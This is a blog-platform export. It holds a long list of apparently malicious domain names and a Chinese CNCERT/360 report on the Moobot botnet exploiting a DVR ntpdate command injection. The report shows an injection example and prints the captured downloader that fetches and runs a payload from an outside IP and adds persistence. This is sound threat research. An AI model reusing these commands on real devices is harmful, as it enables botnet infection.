observer\nleadeastprompt.futbol\nchangeconfidentboot.art\nwaitcornermountain.club\nww1.understandlegal-cancel.link\nsuggest-global-other.realty\nchangeluckytitle.com\nplayprivateconstruction.art\nblog.mean-anyimagination.info\ndecide-currentemployment.top\nconsiderupsetvirus.fans\nletcornercurve.fans\ntalkfamousfather.club\nfindvastcoat.org\nmail2.use-farbitter.org\nremember-chemical-status.tel\nvpn.try-signalsort.org\naddhappyswim.xyz\nstandsuddeninternal.tel\nraiseanxiousguitar.one\nspeak-weekly-hire.org\nneedclosetonight.realty\nmail.fallfrequent-affair.fans\nstartpregnantreference.pictures\nappeartight-fun.fans\ncutplastic-drag.club\nworksea-assumption.com\nbuytrainingdrag.one\nneedfemalebrown.futbol\nwant-mountainform.observer\npop.getless-remove.pictures\nmail2.runelectronic-collar.fans\nraiselogicalpin.tel\nbelieveextraorganization.realty\nremote.servepleasant-cloud.pictures\nallowotherdesire.in\nset-partycount.realty\ndiecutemuscle.net\nstart-sexualfactor.net\ndienearbychart.xyz\nns1.requireanxiousflight.nl\na.happenaction-item.tel\nsecure.reportperfectyouth.xyz\nruntraditionalact.observer\nbecomeunfairsugar.info\nnews.growfrontclimate.tel\nimages.expectpurplewriter.pictures\nimages.seemmaterialvegetable.pictures\nrunsuitablestruggle.xyz\nappearfullfoundation.tel\nsellharddead.in\ncontinuebothpipe.com\nwatchvegetabledatabase.click\nstopmiddleapple.net\nuse-sweetdebt.rocks\nmeet-purechurch.club\nhearduewarning.nl\nadddifferent-reference.nl\ndownload.takehousemom.click\nbuildrawcloset.xyz\nputactualsecond.realty\nmove-muchagreement.club\nvpn.letfirst-concept.observer\nth.sitthin-character.rocks\nwww2.dieseparatefeed.in\nblog.buyextremeatmosphere.click\nbelievelegalscale.info\nbuildappropriatestable.net\nwatch-coolproject.fans\ndoalternativeseries.link\npull-inevitable-medicine.org\nstaybroadcost.fans\nseeofficial-thanks.net\nreadlostdiscount.art\nserve-redtour.fans\nshowleatherloss.click\nx.putweird-situation.net\nloseanotherdisease.realty\nmail2.become-alternativeside.futbol\nsetimpressive-sign.click\nx.appearavailablebad.realty\nstartunusual-status.futbol\nnoc.waituglyclick.org\ndownload.buildthinkreserve.fans\nexpectvegetablecurrency.xyz\nftp.spenddirtyrepublic.tel\nemail.die-prettycandle.art\npop.make-active-pass.click\nlovebeginningvast.realty\nincludeotherwisefamily.xyz\nwork-historicalarm.nl\npassclosescience.pictures\na.sitloud-damage.info\naddinternalfreedom.futbol\nset-okconcert.realty\nrequireenvironmentalhelp.nl\ndownload.need-beginningfinal.art\nofferdecent-twist.in\ndieoriginalpeak.futbol\nlearnremarkabledefinition.futbol\nkillembarrassedclient.net\nkillterriblerecord.tel\nimages.createrichdisplay.observer\nholdlowerfunny.fans\nsitsorrycash.realty\nplayprevioustrain.net\nchangewestbar.net\nshowaggressivedamage.nl\nfeelnecessary-counter.click\nliveproudconsequence.realty\ntry-decent-joint.info\ntrylatter-trainer.com\nshowsick-crack.tel\nhelp-animal-boyfriend.org\nfollowpropercollar.nl\ntake-cultural-white.futbol\nworkindividualpull.click\ndosecuregeneral.link\nlikeseaprogress.art\nworktrueamount.info\npullmalechurch.info\nloseseaconstruction.realty\naddliveruin.top\nwriterelevanteast.com\nhelpsquare-ticket.org\nstart-unlikelyspring.top\ncutrepresentativeslice.xyz\nseemiddle-cigarette.in\nstopafternoonhistory.xyz\ncomedrunkindustry.rocks\nworkenvironmentalthing.club\nconsiderover-expression.xyz\nreportcreative-advance.rocks\nremainfemaleblind.observer\nleavewildcarry.observer\nweb.mean-businessgreen.observer\nfollowworkstar.futbol\nallowamazing-operation.click\ngw.havefreshversion.org\nremembergrosssingle.click\nlikecutedevelopment.info\nimages.showwest-funeral.club\nletclassicrefrigerator.in\nsayinterestingshow.com\nwritesufficientglad.click\ntest.considerusefuldrawing.art\nliveslowstar.link\ncomebudget-improvement.com\nsetconfidentessay.link\nhappenunablerock.tel\nsitapartdepartment.org\ncontinueopenmap.com\ntest.writepretendcheek.one\nbuild-representative-score.club\nhappen-eithermajor.realty\nssl.passplasticdiscussion.observer\nkillbestinevitable.futbol\npullelectricaltone.observer\nimg.movemeanadvertising.in\nstartsuccessfulsick.link\ncreateinevitablelayer.one\nsetwinterfee.pictures\nallow-exactsport.info\nhelpapartpossession.org\ngw.appearsuchquality.com\nbecomefutureleather.xyz\nuse-leastmarriage.xyz\nincludebestjacket.rocks\ncam.turn-federalnovel.tel\nmeetelectricalmain.click\npop.needmajor-pin.com\nnoc.sit-royaltrouble.net\nofferwildincome.top\nremote.heareveningwhole.xyz\nserveokexchange.click\ncome-totalsignature.club\nofferlowersimple.one\ntest.cutforwardnasty.nl\nlivemassive-give.org\nssl.understandweird-chocolate.info\nbecomeparkingpositive.fans\nknow-excitingappointment.realty\nplaytemporaryhand.tel\ngrowdaughtercross.in\nreportculturaldistance.club\ndecide-physicalexam.com\nsell-ordinaryradio.com\nbuy-big-reason.org\nww1.bedependenthospital.top\nth.continuenexttop.in\nfeelenoughmedicine.net\ncontinueflat-meet.org\nhearresidentworry.futbol\nservesufficientplace.art\nx.leadnervouspresident.info\nsuggestminorconcept.link\nimg.providecomprehensivenerve.nl\nwinloosefeedback.nl\nfindoppositebonus.one\nchange-evenexplanation.link\nwalkdeadluck.futbol\nsitbusiness-note.rocks\nhappenfungather.fans\noffer-characterdiamond.xyz\nknow-first-background.link\ndev.show-trainingdouble.in\nkeepmanycard.top\nns1.makechance-chapter.click\nreportsparegear.one\nimages.remainthin-wall.observer\nlovesuperconsideration.rocks\nwww.dostraightcalm.observer\nletfutureslide.one\nfindmediumlog.net\nrequire-globalfix.fans\nkeep-forwardsomewhere.link\nbringparkingperception.observer\nweb.fallleastcamera.top\nshowparkingconcern.futbol\nfind-worksun.one\nweb.tellaccuratefoot.club\ntellleft-scene.observer\nappeartop-writing.link\nlikeextremecategory.info\nlearnheadexchange.realty\npasslogicalminor.link\nasktotalfile.in\nwatchasleeplight.futbol\nbringpluscan.futbol\nemail.be-careful-midnight.one\nvideo.offer-psychologicalknowledge.info\nseemostuncle.realty\nftp.takelegalcourt.observer\nfollowwillingpsychology.link\ncontinueexactresponse.observer\nshop.seeplentyboot.pictures\nns1.make-wonderful-hold.observer\npop.sayalonelight.realty\ninclude-severe-society.click\nfollowsuspiciousmoment.nl\ntftp.includerepresentativepost.xyz\nhelpsuccessfultitle.top\nincludevisualconsideration.observer\nbringafraidslide.realty\nlearnchancetelephone.info\nmovesmallentrance.org\ngive-superdate.nl\nrequiredaymoment.in\nlikeactionif.futbol\nnoc.likeemotionalpreference.one\nopenhorror-tie.realty\nexpectevenmilk.top\nmeanactioninternet.link\nimages.begreen-simple.one\nincludeleather-she.pictures\ntalkawareissue.club\nsayindependentplayer.xyz\nchangeillegalriver.info\nseelongthroat.observer\nplayanxiousrole.info\nfeelminutedegree.observer\nfollownastymountain.rocks\ntellprettyegg.org\npassactualstable.observer\nmail2.leadbestmistake.observer\nhelp-aliveresearch.info\nrunsalt-college.com\ntellbest-necessary.link\nrequireannualpolice.pictures\npullyoungview.realty\nmakedarkcontract.observer\nshop.help-healthythought.net\nremain-practicaloutside.observer\nsellenvironmental-harm.futbol\nstop-thismilk.info\nincludeuniquecandle.pictures\nthinkrelevantchildhood.org\nwebmail.waitspecialistcompany.in\nseem-brilliant-device.futbol\ntakerightpartner.observer\nmail.useplanebus.fans\nthinkperfectcompany.tel\nappearpresentshirt.realty\nbringupstairscommunity.club\nkeep-electronicinteraction.in\nfallnice-blue.link\nsendappropriatefuneral.info\ntellawaydesign.top\ntftp.runswimmingimprovement.fans\nlookthenpositive.pictures\nmoveplastic-history.top\nhavewildhit.com\ncloud.playsouthnormal.nl\nsetswimmingsuit.in\nmovepositivemove.link\nplaygrosslandscape.art\ncreatenextguest.rocks\ngominutepie.club\nkillfemaleprofile.click\nspendimmediaterush.club\nopenweekly-watch.one\ndev.believedesignercharacter.in\ntry-redcommittee.com\ntftp.providestill-thing.net\nincludemothermiddle.realty\nsmtp.writebeginningitem.xyz\nopen-proudprinciple.com\nnoc.expectbravewonder.art\nreadcivil-slip.click\ngo-motorprofessor.click\nfeeldramaticdig.pictures\nbeexcellentangle.xyz\nstartafterchemistry.xyz\nvpn.give-formerhat.top\nwritefunnyassignment.fans\nwebmail.buy-roughcigarette.fans\ngiverawdistrict.xyz\ncome-historicalinstruction.org\nmail2.tellannualarrival.observer\nserver.find-simpleincrease.in\nimg.live-informal-desk.futbol\nbuildefficientstaff.rocks\nseeguiltybike.futbol\nallowtypicalmonitor.link\nlook-famousexcitement.nl\nlead-awaybar.observer\nreaddresssense.link\nwww1.rememberlocalgift.in\nbuildusualrisk.observer\nwork-extremestop.link\nread-educationalpanic.net\nexpectagohusband.in\nincludepowerfulworker.info\nlosewholeauthor.com\nwork-wastedivide.in\nsellbig-test.org\nrequire-livingmeaning.com\nspendusedchildhood.click\nneedvaluableanywhere.pictures\nlikesoftbowl.net\nhelpcivil-net.org\ncallupstairseconomy.link\nreadkitchenmotor.click\nfallcalmanimal.pictures\nemail.takefederal-leading.xyz\nwait-rareenergy.com\nneedsaltswim.click\nwinlower-command.in\ntellhugecandidate.one\nreportrawchapter.xyz\nbeginaccurateoriginal.tel\nsetshotguard.one\nremote.turnpartyengineer.club\nbuyhousecomfortable.com\nturn-successful-official.observer\ntftp.walkmediumgroup.futbol\nfallpriorshopping.futbol\nwaitpleasantquality.rocks\nshowscaredsquare.one\nstop-closecard.tel\nmoveminimum-self.rocks\nsupport.followholidayairline.observer\nplaydarksociety.top\nsitenoughdetail.net\nbecomeaccurateuser.rocks\nworkheavybrief.fans\nsetafteradult.net\nmakewhat-title.club\nhear-relative-philosophy.observer\nkeepmoneygrade.pictures\nspend-firstinterest.art\nasklocalnasty.link\ntalk-alive-family.nl\nsell-significantoccasion.top\nbedressfold.fans\nwaithappysell.top\nlead-lostsurround.link\nfindinternalmain.realty\nthink-legalresult.link\nwww2.dofullhold.club\nbeordinarynews.art\npass-wineunit.nl\nappearemergencytruth.info\nturndistinctscreen.nl\nleadfederalwater.top\nthink-capable-concentrate.in\nbringdrunk-monitor.com\nset-joint-equivalent.com\nunderstandinnercompany.art\nloveleather-extent.click\ntrypatient-detail.one\nappearminutehunt.one\naskinteresting-daughter.club\nssl.expectupsetif.club\nrundesperatebook.tel\nspeakdressinternet.com\nneedcuriousfootball.top\nnoc.stayaccuraterelative.link\nbringshotdemand.com\nmovefreenature.com\nww1.changeshotprofit.pictures\nstandsexual-instruction.com\nreadweakpoint.realty\ngrowrealistictext.realty\nknowunfairprocedure.futbol\nappear-leading-jacket.observer\nnews.losefairsuit.top\npullleading-promotion.top\nlooklessparent.xyz\nlikeoutsidepresence.one\nwebmail.talk-normalred.link\nlook-small-image.org\nshow-clean-command.art\nstartfriendlyconstant.info\nlookwholebelt.xyz\nlearn-sweetcream.top\ndieeitherimage.com\nsuggestfunny-salt.link\nsithealthymembership.info\nplayculturalresponsibility.com\nsaygeneralprize.pictures\nappearhonestcup.org\nbegin-leftspare.one\nbelievepublicpermit.in\nmail2.lookcreativeintroduction.in\nfall-capablepersonal.in\nhearnorth-fortune.com\nlearncuriousideal.link\nremote.havecompletesoil.net\ndosmoothhousing.info\nreachinternationalchapter.one\nunderstandafternoon-oven.art\nprovideenoughrich.one\nweb.showplanegrandfather.in\nreport-existinginstruction.tel\ndodecent-entry.in\nbecomestreetnose.info\nvideo.gomaterialcap.realty\nkilltemporarybrush.com\nth.lookpracticalteacher.one\nhear-basiccrew.realty\ntalkexpertbirthday.realty\nmail2.get-evenversion.art\ncomeadultfamily.art\nsmtp.understandillegal-great.one\nimg.addangrylip.in\nstopsilvernews.nl\ncontinue-mentaleffort.xyz\ndieafternoonvisual.click\ntrywhite-juice.club\nask-betterequipment.nl\ngo-awareinflation.rocks\nprovideeducationaltie.link\nloveunfairlow.org\nbuildnational-preference.realty\nreadvariousengineer.one\nlearndry-possible.click\nexpectunlikelygrand.info\nraise-weekly-till.net\ntake-rare-figure.xyz\nseeplasticbeing.click\nleavekindeducation.club\nincludecorrectmembership.futbol\ncontinueinitialgrocery.realty\nworkrelevant-tackle.observer\nfeelinternal-grandfather.link\nplaysafeunion.link\nknow-deep-brick.nl\nofferillegaldrink.fans\nwriteoldpolice.one\nofferdowntown-stand.top\nspendopeningchart.realty\nlosefewmouth.org\nstaymaterialcash.observer\nsitpastgirl.futbol\nprovidetraditionalanybody.realty\nbuildnicelake.one\nwww2.killnumerousdriver.nl\nhaveappropriatewhite.realty\ndovegetableguard.tel\nmail.sendconsistentsafety.info\nremember-independentstorm.net\nstartequivalentship.org\nthink-leftcapital.pictures\nwork-basicexpert.info\nconsiderhonest-north.nl\na.callresponsible-difference.observer\nwalktimefuneral.one\nallowroundminute.xyz\ngounable-administration.tel\nth.sendsilverscale.link\npull-particular-trainer.net\nmovegreengrowth.futbol\nrununhappysecretary.fans\nleaveangryextreme.link\nloseeast-possibility.pictures\nlive-prettyhalf.fans\nimages.cutnegativeentrance.club\nbeginslight-application.nl\nunderstandboring-drink.click\nsecure.askafterjoin.realty\nlearnstillintroduction.click\ncomegladsalt.realty\nsitgrandbench.art\nwatcheducationalcloset.nl\nappearoldboss.tel\nremainmaximumrepublic.fans\nbuyavailablestay.net\nplay-happyrefrigerator.tel\nunderstand-leftnet.tel\nspendgamenurse.tel\nadd-localmuscle.art\nunderstandvisiblefire.rocks\nwww.runjuniorstress.observer\nrunold-response.art\ncontinuepracticalswitch.observer\nsellextension-fall.click\nstart-negativecourse.com\nspendlegalrepeat.com\ndiecornerconsideration.click\nleadresident-drive.futbol\nwww.payforeignglad.club\nplay-logical-unit.net\nbecome-used-grass.pictures\ncutsubstantialdeal.rocks\nstandfinalbid.art\nleaddependenttale.futbol\ndie-used-back.in\nplay-flatambition.nl\nraiseagent-pressure.art\nopenthenmouse.top\nreadobviouscow.info\nuseresidentfunction.tel\nstandafterpicture.observer\nraise-proofmight.xyz\nneedfarking.club\nshowseriousback.art\nsmtp.sitprizerelative.observer\nraiseextensionmuscle.art\nknow-financiallecture.rocks\nlookdeepmake.com\nprovidenewexamination.click\nkeep-constantfinish.click\nfeelconnectconcert.link\nnoc.buildacceptablewait.futbol\nopenexactanimal.one\nsend-bestweb.one\nexpectstrangeprocedure.realty\npasssevereconfidence.club\nx.setentire-cup.pictures\nserver.thinkpurplerepeat.info\ndownload.paytightcomparison.top\ngoagent-read.in\nsendcapital-recording.xyz\nfollow-femaleside.nl\nlikecoldclient.net\nhappen-sparelay.click\nmakedecent-individual.net\nwaitwhite-bit.nl\nsellwestreport.fans\nwork-realisticdevelopment.art\ngoworkingprize.rocks\ndo-plenty-cross.realty\ntakethink-force.observer\nsuggestsevereblood.art\nmeandirtybox.nl\nadmin.loveeastfood.org\nstaymental-energy.xyz\ngo-local-gap.club\nemail.servepoliticalhighway.org\ncallnorthkiss.club\nemail.takesilver-impact.rocks\nsellweirdsensitive.club\nstaydifferentobject.nl\nwritesilverstruggle.net\nserver.allowdrunkabuse.com\nlivestatusnail.in\nmovetimething.nl\nreportresponsibleswitch.tel\nwriteseparateliterature.com\nsitnearby-tackle.nl\naddpsychologicalbuilding.org\nbuy-moremarch.click\nserveofficialpoint.art\ncomesmartfeeling.one\nww1.be-lostwindow.net\naddavailablekind.xyz\nbringupstairs-adult.realty\nset-consistent-property.one\nwatchaggressivecategory.info\nbegin-both-branch.futbol\nth.runroutineinvite.net\nstopproofcommission.info\nplay-culturalplate.nl\nwww2.read-incident-branch.net\ncomeeitherhelp.tel\nappearlegalprocedure.net\nseemmiddledelay.tel\nmeancreativecommittee.org\nwww1.believesimilar-thing.futbol\nexpectsouthinevitable.futbol\nseemdress-homework.top\nhappen-homewave.rocks\naddpuretop.art\ntellreasonabledocument.click\ngrowminimumtelevision.net\npop.come-awareyard.net\nunderstandvisualstation.tel\nsecure.giveglad-city.art\nlikenearbystomach.realty\nlosecoolanalysis.fans\ngetoriginaltrash.click\nincludefamousdrag.fans\nspendfamiliar-gather.tel\nworkmanychampionship.futbol\nlearnanother-inside.tel\nsitbrightrope.com\nopenunhappypicture.futbol\nwww.trywide-principle.futbol\nchangeminor-march.futbol\nworkgeneraltrick.info\nadd-criticalvoice.art\nbuystraightdeep.fans\nsayintelligentaspect.click\nliveplasticcounty.click\ndecideillegalquality.top\nfeelgold-series.pictures\nbbs.dodrunkanything.com\nremainbothfeel.fans\nbringeasttruck.com\ncreateobviouspeople.top\nconsiderproperproduct.com\nadddeepresolve.link\nhelp-recentspeech.pictures\nhappen-southcountry.art\nservecorner-strength.com\nemail.likemobilelocation.click\nreadborn-access.pictures\na.takeuglyparent.com\nmeanmountainpride.click\nbelieve-headrise.club\nrunaccordingload.nl\nth.winrealpriority.rocks\nhearnewnegative.observer\nincludedifferentdetail.observer\nbuildchickentraffic.fans\nuse-physicaldepression.tel\nconsiderpowerfulfruit.observer\ntest.buy-timeshoulder.com\nplaysuddenbird.in\nkillseveral-city.one\ntakesignalincident.in\nwork-reasonablebreak.pictures\nbesadenvironment.art\nshoweastyard.one\nseeprettyinspector.in\nbuygladexchange.art\nraiseeastbedroom.xyz\nletmad-juice.in\nexpecthappydrop.nl\nbegin-ordinarystupid.rocks\ngoaggressivenasty.xyz\nwritegloballandscape.in\nputenvironmentalimagination.futbol\nwantbrightear.one\nconsider-culturalmenu.net\npay-cornerfat.one\nsuggest-relativereputation.tel\ncam.lookfewnewspaper.nl\nturn-everybitter.net\nfind-cooloutcome.info\ncontinueexpertcontract.tel\nholdthickshift.observer\nhelpdeepsnow.click\ntrybitter-twist.pictures\npop.offersingle-preparation.in\nseemsingleroof.observer\nbbs.requireobviouscandle.xyz\nturnroughcandy.net\nhearnextchest.pictures\nopenhardmanagement.com\nthink-exactstroke.top\nbeginannualgirl.in\nprovidechemical-release.top\nth.usebestpull.com\nwww.dolatefruit.org\nprovidebasicmiddle.org\nsecure.lookstupidvaluable.click\nthinkrelevant-sail.nl\ngivelogical-brain.net\nwatchpotentialinitial.info\nstartinternalgolf.net\nwww.happen-openingcake.club\ntftp.pullleastbeing.art\nhelpsaferepeat.com\nthinksmartfact.net\ncloud.let-specialcomparison.net\nvpn.sellroughswitch.pictures\ngo-hungrycarpet.art\nfollownaturalmeasurement.futbol\nstand-inevitabletradition.info\nserver.speakgooddog.futbol\nfeelsexualisland.observer\nunderstandinternationalphrase.art\nsellnativeself.nl\nlove-perfecthealth.link\na.waitloud-currency.observer\nsecure.raise-illdeparture.futbol\nknowenvironmentalambition.observer\ncam.believesaltleading.observer\nthinkdeadsurprise.fans\nofferfalse-education.observer\nremainactive-beach.pictures\nwww1.raisefederalclimate.club\nwatchworkhalf.observer\nserveokfinish.info\nwww2.reportcuriouswait.link\nrun-classicspray.tel\nmeetpastaccident.tel\nplayplasticaccount.club\nstandvaluablestay.com\nruntraditionalmess.in\ndev.move-significant-assignment.club\nconsidercompletequality.one\naddbornticket.one\nftp.createsorrymembership.nl\nprovidefriendlycity.net\nssl.lovegreatglad.realty\nwanteconomywash.net\ngw.setusualdouble.realty\nopenminorboot.tel\nbecivilappearance.rocks\nsupport.callactualsimple.click\nrememberbasicsuggestion.one\nsaycompetitiveseat.in\nlovefast-check.link\nlearnsouthern-art.rocks\nconsiderprofessionalowner.tel\nmeanspecificclassroom.nl\nbring-fewspare.xyz\nread-obvious-stress.org\nstand-eastappointment.art\nkillacceptabledump.click\nhappentypicalweather.one\nemail.stayupstairswave.top\nwebmail.doevening-literature.realty\nadmin.passbravesleep.observer\naddboth-league.realty\nraiseplastictowel.club\ncomelittlebit.org\ngw.continuechoicelink.club\nhappenpopularfamiliar.fans\nallow-classicscale.net\nexpecttightimagination.rocks\nnoc.beginonlypromise.art\nserveappropriatebutton.one\nusesillypermission.top\ninclude-eachpension.pictures\nremembertrainingpermit.rocks\nunderstandfemale-equipment.pictures\ndieresponsible-brief.link\ntftp.offer-corner-border.one\nsaybriefgreat.realty\ntellkindkeep.pictures\nhold-tough-farmer.top\npassnationaldifference.net\nshop.send-deep-month.pictures\nbuystrictconsist.observer\nofferremarkabledress.com\nbuycomprehensiveopening.tel\nfall-appropriate-employee.art\nseemheadchip.observer\nsendremarkablesock.pictures\nsell-psychological-board.club\nmeanimportantmarriage.in\nstayconstanta.nl\nknowfatmedium.one\nprovidecriticalplay.click\nbeparkingtechnology.futbol\nspeakcuriousextension.futbol\nwww.speakwooden-evening.realty\nallowcomplexleather.futbol\nsetaggressivewall.realty\nleadchemicalsuccess.nl\ncreatepracticalimportance.tel\nlikeremoteinitial.info\nm.setsuddendesign.in\nkillmaintransportation.com\nplaycapitalsad.org\ntftp.learnsorrytype.nl\nkeepwrongphone.futbol\nlet-emergencysinger.observer\nofferafterbrick.link\nseemcharactermixture.club\nexpectwild-concept.rocks\nmakesome-tower.click\nsayasleepresource.art\nremainyellowregular.tel\nmean-lastoutside.org\nwww1.movestock-nose.nl\nfollowemergency-camp.nl\noffernoveloutside.xyz\nlooknicenorth.top\nlovetrainingtoe.observer\nleadwrongactor.in\nth.consider-immediate-specialist.top\nraiseslight-win.club\nseemlonely-quality.info\ntftp.buildappropriatevast.club\nfollowalonewonder.rocks\nweb.growstillscreen.art\nrememberprofessionalpresentation.rocks\nrequirestrongchip.pictures\ntryanotherunique.club\ndecideopenwriting.com\nhelpunusual-daughter.pictures\nemail.followsmalldeparture.link\nrememberbeautiful-test.top\nsend-searecipe.info\nbuypersonallife.xyz\ncreatekitchenchild.click\nhavemuch-page.pictures\nexpectbackgroundaddition.observer\nleavequietmarket.org\nstarthismix.link\nmovepresentinternational.realty\ndointeresting-control.futbol\nww1.remainsoutherncity.pictures\nusecarproduce.one\nraiseeveningcorner.art\nbelievesecret-female.net\nhappenlivingtill.one\nshop.loseeaststill.xyz\ndecidefineentry.info\nopenphysicalsympathy.info\nlovevisualdebate.nl\ntryopeningwhile.link\nhave-plasticdrawer.top\nnews.tellpregnantratio.one\nchangeunhappysecond.observer\nreportkitchen-formal.one\ntrypopularreplacement.click\ntrymaster-self.pictures\nwantsecretdevice.rocks\nfeelwideestate.xyz\nemail.killcheap-poetry.futbol\nletparkingbuddy.art\ndo-sensitivesex.info\ncutmanymine.xyz\nbuild-comprehensivepick.club\nfollowdirty-reach.club\nth.getunfairscene.futbol\nchangeintelligentdeep.com\nconsiderhisreputation.nl\nbuildcurrentlesson.one\ncloud.set-thinkpattern.one\nbringdeep-revolution.one\naskeducationalsuggestion.futbol\ndopretendgear.com\nftp.pull-topsector.fans\nbringbrightpull.in\nwork-afraidyard.art\nstandtalltarget.in\nset-slight-proof.futbol\nvpn.diefreeyesterday.futbol\nliveequalbook.tel\nlearnpretendtechnology.net\nstartseparateopening.nl\nfind-yellownational.fans\ncallmedium-son.one\nhappenexternal-candy.click\nstoptraditionalfuel.futbol\nraisetotalapplication.art\nspend-accordingwill.rocks\npullnearbywall.tel\ntalkeitherjuice.fans\ncontinueunablebet.observer\nimg.cutwonderfulcheek.observer\nfollowobviouscode.club\nwaitlonelygift.nl\npassaggressivedefinition.pictures\nssl.putsea-people.club\nkillleadingexam.realty\nwaitotherwiserequirement.fans\nfeelpure-conference.rocks\nstayoriginalprocess.fans\npulltimeswitch.observer\nleadlevelcomfortable.xyz\nstartbriefeffective.net\nsayembarrassed-maintenance.fans\nwantrelevantbar.pictures\nknowbornoutside.click\ndo-innerpen.club\ntryresponsible-injury.click\nwebmail.remembersafehang.art\nraisefewmix.in\nholdstatus-forever.net\nchange-distinctrecording.net\ncomeplasticpermission.futbol\nsuggestgreatstudio.top\nemail.bringpretty-guide.org\nchangesouth-preference.org\nwantseverebread.futbol\nsellbettermail.observer\ndecideawayad.futbol\nstaymassive-yellow.xyz\nwww1.understandusefulpaint.org\nworkcheap-disaster.nl\nletpatientunique.link\nwatchfair-bug.nl\nholdasleepstructure.observer\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f07fb9b7646030007b283d9 |
post | null | 2020-08-12T06:33:47.000Z | 63873b9a8b1c1e0007f52f7b | moobot-0day-unixcctv-dvr | 0 | 2020-11-20T10:57:12.000Z | public | published | null | 2020-11-20T10:57:12.000Z | Moobot 在野0day利用之UNIXCCTV DVR命令注入 | <!--kg-card-begin: markdown--><p>本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布</p>
<h1 id="">概述</h1>
<p>Moobot是一个基于Mirai开发的僵尸网络，自从其出现就一直很活跃，并且拥有0day漏洞利用的能力。我们有多篇和该botnet相关的文章，感兴趣的读者可以去阅读<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">[1]</a><a href="__GHOST_URL__/ddos-botnet-moobot-en/">[2]</a><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">[3]</a>。本文主要介绍CNCERT和360公司共同发现的Moobot针对UNIXCCTV DVR/NVR设备的0day利用。关于该漏洞的详细细节我们通知了厂家，并且确认当前厂家已经修复了该漏洞，发布了相应的补丁<a href="http://download.eyemaxdvr.com/TVST%20PVT%205N-SERIES/Patch/">[ALL265 unix 2.3.7.8B09]</a><a href="http://download.eyemaxdvr.com/NVST%20IL&IP%20SERIES/Firmware_/Patch/">[NVR unix 2.3.7.8B05]</a><a href="http://download.eyemaxdvr.com/TVST%20PVT-N%20&%204M%20SERIES/Firmware/Patch/">[ALL unixip 2.3.4.8B06]</a>。友情提醒此类设备的用户及时更新设备固件。</p>
<h1 id="">时间线</h1>
<ul>
<li>2020-06-09 首次捕获到针对该漏洞的探测扫描</li>
<li>2020-06-24 首次捕获利用该漏洞传播的Moobot样本</li>
<li>2020-08-24 厂家发布补丁修复bug</li>
</ul>
<h1 id="">漏洞利用过程</h1>
<p>我们捕获的Moobot样本并不具有该漏洞的利用功能。Moobot通过Loader扫描8000端口，定位到目标设备后利用漏洞植入Moobot样本。</p>
<h1 id="">漏洞分析</h1>
<h4 id="">漏洞类型</h4>
<p>远程命令注入漏洞</p>
<h4 id="">漏洞细节</h4>
<p>漏洞位置为设备<code>gui</code>程序监听的8000端口（验证固件版本：<code>ALL265_unix_2.3.7.2B.fwr</code>），根据设备手册我们得知，该端口为DVR Watch，Search，Setup功能默认监听端口。<br>
<img src="__GHOST_URL__/content/images/2020/09/Snip20200928_4-1.png" alt="Snip20200928_4-1" loading="lazy"><br>
该端口具有可远程更新系统时间的功能，此功能实际由<code>gui</code>程序调用系统命令<code>nptdate</code>实现。 漏洞由此触发，<code>gui</code>程序执行ntpdate命令时没有对NTP server参数进行检查，导致命令注入漏洞。例如构造此条命令（<code>ntpdate -d -t 1 time.nist.gov& whoami</code>）将导致<code>whoami</code>命令被执行。部分Payload如下(因为有其他安全机构先于我们向厂家通报漏洞信息，并且没有公开漏洞信息。所以我们不打算公开完整PoC)：<br>
<img src="__GHOST_URL__/content/images/2020/08/Snip20200820_8-1.png" alt="Snip20200820_8-1" loading="lazy"></p>
<h1 id="">受影响设备分析</h1>
<p>通过扫描全网8000端口，我们发现6k左右的在线设备。绝大部分的设备都在美国。</p>
<h4 id="">受影响设备地理位置分布</h4>
<pre><code> 4529 United_States
789 Republic_of_Korea
84 Canada
73 Japan
66 Netherlands
56 Australia
55 Germany
31 United_Kingdom
23 Viet_Nam
19 Malaysia
15 Saudi_Arabia
15 Czech
14 Switzerland
11 China
</code></pre>
<h4 id="">已知受影响设备：</h4>
<pre><code> 51 PVT-N5UNIXDVR 1
28 PVT-8MUNIXDVR 1
28 NVST-ILUNIXDVR 1
25 NVST-ILUNIXNVR 1
22 Magic-U-8M5UNIXDVR 1
14 NVST-IPUNIXNVR 1
13 NVST-IPUNIXDVR 1
9 Magic-T-8M5UNIXDVR 1
9 HD-Analog3RDVR 1
6 Magic-QXUNIXDVR 1
2 Magic-U-8M5UNIXDVR 2
1 PVT-8MUNIXDVR
1 NVR3RGPardisNVR
1 Magic-U-8M5UNIXBoca DVR
1 MER-28N16ENEODVR 1
1 MER-28N08ENEODVR 1
</code></pre>
<h1 id="">样本分析</h1>
<blockquote>
<p>Verdict:Downloader</p>
<p>MD5:af3720d0141d246bd3ede434f7a14dcb</p>
<p>ASCII text, with CRLF line terminators</p>
</blockquote>
<p><code>af3720d0141d246bd3ede434f7a14dcb</code>是一个下载脚本，内容如下，</p>
<pre><code class="language-shell">s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon;
echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log
</code></pre>
<p>可以看出Downloader的主要功能为</p>
<ul>
<li>下载Moobot样本</li>
<li>实现持久化</li>
</ul>
<p>值得一提的是，下载的Moobot样本是压缩的，这在一定程度上对抗了网络流量层面对样本的直接检测。</p>
<blockquote>
<p>Verdict:Moobot_leet</p>
<p>MD5:fb96c74e0548bd41621ea0dd98e8b2bb</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer:No</p>
<p>Lib:uclibc</p>
</blockquote>
<p><code>fb96c74e0548bd41621ea0dd98e8b2bb</code>是一个Moobot变种，基于其复用了LeetHozer的加密方法，我们称之为Moobot_leet。Moobot_leet在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。</p>
<h3 id="">加密方法</h3>
<p>Moobot_leet将Tor-C2分成了prefix(16 bytes),suffix(7 bytes)俩部分，分别存在样本的不同位置，采用LeetHozer的加密方法，需要合并才能解密出正确的Tor-C2。</p>
